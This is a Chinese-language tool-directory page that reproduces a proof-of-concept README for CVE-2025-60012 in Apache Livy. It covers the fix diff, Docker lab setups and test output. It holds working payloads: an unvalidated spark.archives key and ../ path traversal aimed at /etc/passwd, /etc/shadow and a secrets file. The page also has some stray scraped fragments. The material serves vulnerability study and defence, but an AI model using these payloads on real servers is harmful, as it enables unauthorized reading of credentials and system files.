Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-60012-POC — Apache Livy 未授权文件访问漏洞的 POC | Kitploit
工具/GitHubGitHub/sid6224/cve-2025-60012-poc
漏洞分析漏洞利用Web应用程序漏洞利用云安全学习与教育实验室与实践
GitHubsid6224/cve-2025-60012-poc

CVE-2025-60012-POC

Apache Livy 未授权文件访问漏洞的 POC

查看仓库
15个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

仅供教育和安全研究目的使用。请勿针对非您拥有或未获得明确书面许可的系统进行测试。→ 完整免责声明

CVE-2025-60012 — Apache Livy 未授权文件访问

CVE Livy Severity CWE Type License Platform Language

概述

字段详情
CVE IDCVE-2025-60012
严重性中等 (CVSS 6.3)
受影响版本Apache Livy 0.7.0-incubating, 0.8.0-incubating — 当连接到 Apache Spark 3.1 或更高版本时
修复版本Apache Livy 0.9.0-incubating
CWECWE-20: 输入验证不恰当
披露日期2026-03-13
报告者Furue Hideyuki

漏洞描述

拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交带有精心构造的配置值的 Spark 会话或批处理作业。两个弱点共同作用,允许攻击者引用其允许路径之外的本机文件系统文件:

  1. 缺少对 spark.archives 的验证 — Spark 3.1 引入了 spark.archives 作为一种在所有集群管理器中分发归档文件的统一方式。Livy 0.8.0 中硬编码的经过路径验证的配置键列表(HARDCODED_SPARK_FILE_LISTS)不包含 spark.archives。通过此键传递的路径因此从未针对本地文件系统白名单(livy.file.local-dir-whitelist)进行检查,从而允许攻击者引用任何本地文件。

  2. 白名单检查中的路径遍历绕过 — 即使对于确实经过验证的配置键,Livy 0.8.0 中的白名单比较也对原始路径使用普通的 Java String startsWith 调用。攻击者可以通过路径遍历绕过此检查:/whitelisted/dir/../../etc/passwd 通过字符串检查,但解析到允许的目录之外。

受影响的源文件

文件1 — LivyConf.scala

受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

文件2 — Session.scala

受影响版本 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

修复版本 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

源代码 — 克隆命令

两个版本均直接从官方 Apache Livy GitHub 仓库克隆到当前工作区,使用以下确切命令:

仓库: https://github.com/apache/incubator-livy```bash

Vulnerable version — cloned into ./livy-0.8.0/

git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0

Fixed version — cloned into ./livy-0.9.0/

git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0

root@kitploit:~
| 版本 | 标签 | 已解析提交 | 本地路径 |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## 精确代码差异

差异通过克隆两个标签的本地仓库(见上表)并运行:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Fix 1 — LivyConf.scala: spark.archives added to hardcoded file list```diff

private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,

  • "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" )
root@kitploit:~
**v0.8.0 中缺失条目的影响:**
当用户提交一个会话,其中包含 `conf: {"spark.archives": "file:///etc/passwd"}` 时,Livy 0.8.0 永远不会对该值调用 `resolveURIs()`,也永远不会根据 `livy.file.local-dir-whitelist` 进行检查。该路径未经验证就被转发给 Spark。

---

### 修复 2 — `Session.scala`:在白名单检查之前进行路径规范化```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

影响(v0.8.0): 原始字符串 startsWith 检查可能通过路径遍历载荷绕过。

示例:如果 `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd

root@kitploit:~
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (已绕过)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (已阻止)

## 攻击向量总结```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

测试环境

本 PoC 中的所有步骤均在以下系统上执行并验证:


仓库结构```

. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh

root@kitploit:~
---

## 概念验证

### 概述```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

完整端到端序列——按顺序执行步骤1到4:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container

root@kitploit:~
> **注意:** Livy 在 `docker run` 后大约需要 15–20 秒才能就绪。
> 以下所有步骤均包含在执行 API 调用前显式添加的 `sleep 20`。

---

### 步骤 1 — 构建并启动脆弱环境 (Livy 0.8.0 + Spark 3.1.3)

**文件:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — 绑定在 `0.0.0.0:8998`、本地模式、白名单 = `/opt/safe-data`

**1a. 构建镜像:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

验证 — 镜像已创建:```bash docker images cve-2025-60012-vulnerable

root@kitploit:~
**`find`**:在目录层次结构中搜索文件。
`find /path -name "*.txt"`
**`grep`**:在文件中搜索文本模式。
`grep "pattern" file.txt`
**`man`**:显示系统手册页。
`man ls`
**`apropos`**:搜索手册页名称和描述。
`apropos editor````
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

启动容器:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable

root@kitploit:~
**验证 — 容器正在运行:**```bash
docker ps --filter name=livy-vulnerable

(没有内容可供翻译。)``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp

root@kitploit:~
---

**等待 Livy 启动,然后验证 REST API:**

> Livy 需要大约 15–20 秒初始化后才能提供服务。```bash
sleep 20
curl -s http://localhost:8998/sessions

预期输出:```json {"from":0,"total":0,"sessions":[]}

root@kitploit:~
**1d. 验证容器内的目录布局:**

确认白名单中的安全文件存在:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

预期输出:``` This file lives inside the whitelisted directory.

root@kitploit:~
确认目标敏感文件存在于白名单之外:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

预期输出:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!

root@kitploit:~
---

### 步骤 2 — 对脆弱环境运行验证

> 步骤 1 中的脆弱容器必须仍在端口 8998 上运行。

**`test/validate.sh` 验证的内容:**

| # | 攻击方式 | 载荷键 | Livy 0.8.0 上的预期结果 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` 未出现在 `LivyConf.scala` 的 `HARDCODED_SPARK_FILE_LISTS` 中 | `spark.archives` | HTTP 201 — 路径被接受但未经验证 |
| 2 | 通过 `Session.scala` 中的 `String.startsWith()` 进行路径遍历 | `spark.jars` 包含 `../` 遍历 | HTTP 201 — 遍历绕过白名单 |

**2a. 运行脚本:**```bash
bash test/validate.sh

期望输出:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

RESULT: VULNERABLE — exit code 1

root@kitploit:~
**2b. 停止并移除存在漏洞的容器:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable

验证——容器已完全移除:```bash docker ps -a --filter name=livy-vulnerable

root@kitploit:~
预期输出(无行):```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

步骤 3 — 构建并启动修复后的环境 (Livy 0.9.0 + Spark 3.1.3)

文件:

  • docker/fixed/Dockerfile — 相同的基础镜像和 Spark 3.1.3,仅 Livy 版本变为 0.9.0
  • docker/fixed/livy.conf — 与 docker/vulnerable/livy.conf 相同(相同的白名单、端口、模式)

保持 Spark、基础镜像和所有配置与步骤 1 相同,将 Livy 作为唯一的变量进行隔离。

3a. 构建镜像:```bash docker build -t cve-2025-60012-fixed docker/fixed/

root@kitploit:~
**验证 — 镜像已创建:**```bash
docker images cve-2025-60012-fixed

预期输出:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest

root@kitploit:~
**3b. 启动容器:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed

验证 — 容器正在运行:```bash docker ps --filter name=livy-fixed

root@kitploit:~
预期输出:```
CONTAINER ID   IMAGE                   COMMAND        STATUS         PORTS
<id>           cve-2025-60012-fixed    "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

3c. 等待Livy启动,然后验证REST API:```bash sleep 20 curl -s http://localhost:8998/sessions

root@kitploit:~
预期输出:```json
{"from":0,"total":0,"sessions":[]}

步骤 4 — 在修复后的环境中运行相同的验证

来自步骤 3 的修复后的容器必须在端口 8998 上运行。 脚本完全相同——没有变化。

步骤 2 和步骤 4 之间的变化:

  • 相同的载荷,相同的脚本
  • Livy 0.9.0 现在通过 HARDCODED_SPARK_FILE_LISTS 验证 spark.archives
  • Livy 0.9.0 现在在白名单检查前使用 Paths.get().normalize() 规范化路径
  • 两种攻击在会话创建前均以 HTTP 400 拒绝

4a. 运行脚本:```bash bash test/validate.sh

root@kitploit:~
> **注意:** `validate.sh` 的工作方式如下:
> 1. 它轮询 `GET /sessions` 直到 Livy 响应(最多60秒),确认服务器已就绪。
> 2. 对于每次攻击,它通过 `curl` 发送 `POST /sessions` 请求,附带精心构造的 `conf` 有效载荷,目标指向白名单之外的文件(`/opt/sensitive/secret.txt`)。
> 3. 它读取 HTTP 响应码:**201** 表示 Livy 接受了该路径而未进行验证(存在漏洞);**400** 表示 Livy 在白名单检查中拒绝了该路径(已修复)。
> 4. 如果会话已创建(HTTP 201),脚本会立即通过 `DELETE /sessions/{id}` 将其删除,以保持服务器清洁。
> 5. 两次测试后,它会打印摘要并退出,返回码 **1**(存在漏洞)或 **0**(已修复),适合在自动化流水线中使用。

**预期输出:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

RESULT: FIXED — exit code 0

错误消息所确认的内容:

4b. 停止并移除已修复的容器:```bash docker stop livy-fixed && docker rm livy-fixed

root@kitploit:~
**验证 — 容器已完全移除:**```bash
docker ps -a --filter name=livy-fixed

预期输出(空 — 无行):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

root@kitploit:~
## 推论

CVE-2025-60012 表明,漏洞并不总是需要绕过安全控制——有时,只要找到一条从未经过该控制的路径就足够了。

白名单(`livy.file.local-dir-whitelist`)在 Livy 0.8.0 和 0.9.0 中均存在,并且在两个环境中都正确配置。失败的原因在于其上游:

1. **缺少注册(攻击 1):** `spark.archives` 在 Spark 3.1 中作为 `spark.yarn.dist.archives` 的集群管理器无关替代项引入。Livy 内部用于将路径送入白名单检查的配置键列表(`LivyConf.scala` 中的 `HARDCODED_SPARK_FILE_LISTS`)从未更新以包含该键。因此,任何通过 `spark.archives` 传递的路径都完全未经校验地转发给了 Spark。白名单从未被咨询。

2. **检查本身的逻辑缺陷(攻击 2):** 对于已注册的键,`Session.scala` 中的白名单比较使用了 Java 的 `String.startsWith()` 对原始路径字符串进行比较。这对于文件系统路径比较是不够的,因为它没有考虑 `..` 遍历。例如,路径 `/opt/safe-data/../sensitive/secret.txt` 满足针对白名单条目 `/opt/safe-data` 的字符串检查,但实际上解析到的位置完全在它之外。

综合这两点弱点,这意味着一个经过身份验证的用户——除了对 Livy REST 或 JDBC 接口的访问权限外,无需任何特殊权限——就可以引用 Livy 服务器主机上的任意本地文件。在共享分析集群中,这可能导致凭据、密钥、配置文件或 Livy 进程用户可读取的任何数据泄露。

0.9.0 中的修复是微小且有针对性的:在 `HARDCODED_SPARK_FILE_LISTS` 中添加了一行(弥补注册缺口),并在白名单比较之前添加了一次对 `Paths.get().normalize()` 的调用(弥补路径遍历绕过)。这两个更改都没有修改白名单本身,这证实了白名单从未是问题所在——问题在于送入白名单的代码不完整且不精确。

**防御者的关键要点:** 当 Livy 与 Spark 3.1 或更高版本一起部署时,升级到 Livy 0.9.0-incubating 是唯一完整的补救措施。仅收紧 `livy.file.local-dir-whitelist` 不足以抵御攻击 1,因为在易受攻击的版本中,通过 `spark.archives` 提交的路径完全绕过了该检查。

## 参考

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec 披露: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache 邮件列表: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy 项目: https://livy.apache.org/

## 致谢

- **Furue Hideyuki** — CVE-2025-60012 的原始报告者,向 Apache 安全团队报告。
- **Apache Livy 维护者** — 及时进行问题分类并提供 v0.9.0-incubating 中的针对性修复。
- **Apache 安全团队** — 协调负责任披露流程。
- **OSS-Sec 社区** — 提供的公开披露线程使独立分析成为可能。

## 贡献

欢迎贡献以改进此 PoC 或文档!请确保任何贡献:

- 遵循负责任披露实践
- 包含适当的免责声明
- 不包含超出教育演示范围的恶意代码
- 保持以教育价值为重点

如需贡献,请提交拉取请求或提交问题描述提议的更改。

## 许可证

本项目采用 [MIT 许可证](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE) 授权。

## 免责声明

本仓库仅用于教育和安全研究目的。此概念验证演示了漏洞机制,以帮助理解和防御措施。请勿对您不拥有或未经明确书面许可的系统使用。

## 标签

`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`
下载工具
组件详情
主机操作系统Ubuntu 24.04.4 LTS (Noble Numbat)
内核6.17.0-14-generic x86_64
架构x86_64
总内存15.49 GiB
Docker 引擎28.2.2
主机 JDKOpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal)
容器基础镜像eclipse-temurin:11-jdk-focal(JDK 11,Ubuntu Focal)
Spark 版本(两个镜像)3.1.3 with Hadoop 3.2
Livy 版本 — 存在漏洞的镜像0.8.0-incubating(Scala 2.12 构建)
Livy 版本 — 已修复的镜像0.9.0-incubating(Scala 2.12 构建)
攻击方式HTTP错误消息已修复的根因
1 — spark.archives400Local path /opt/sensitive/secret.txt cannot be added to user sessions.spark.archives 已添加至 LivyConf.scala 中的 HARDCODED_SPARK_FILE_LISTS;路径现在会命中 resolveURI() 的白名单检查
2 — 路径遍历400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Paths.get(...).normalize() 已添加至 Session.scala;在白名单比较之前解析 ../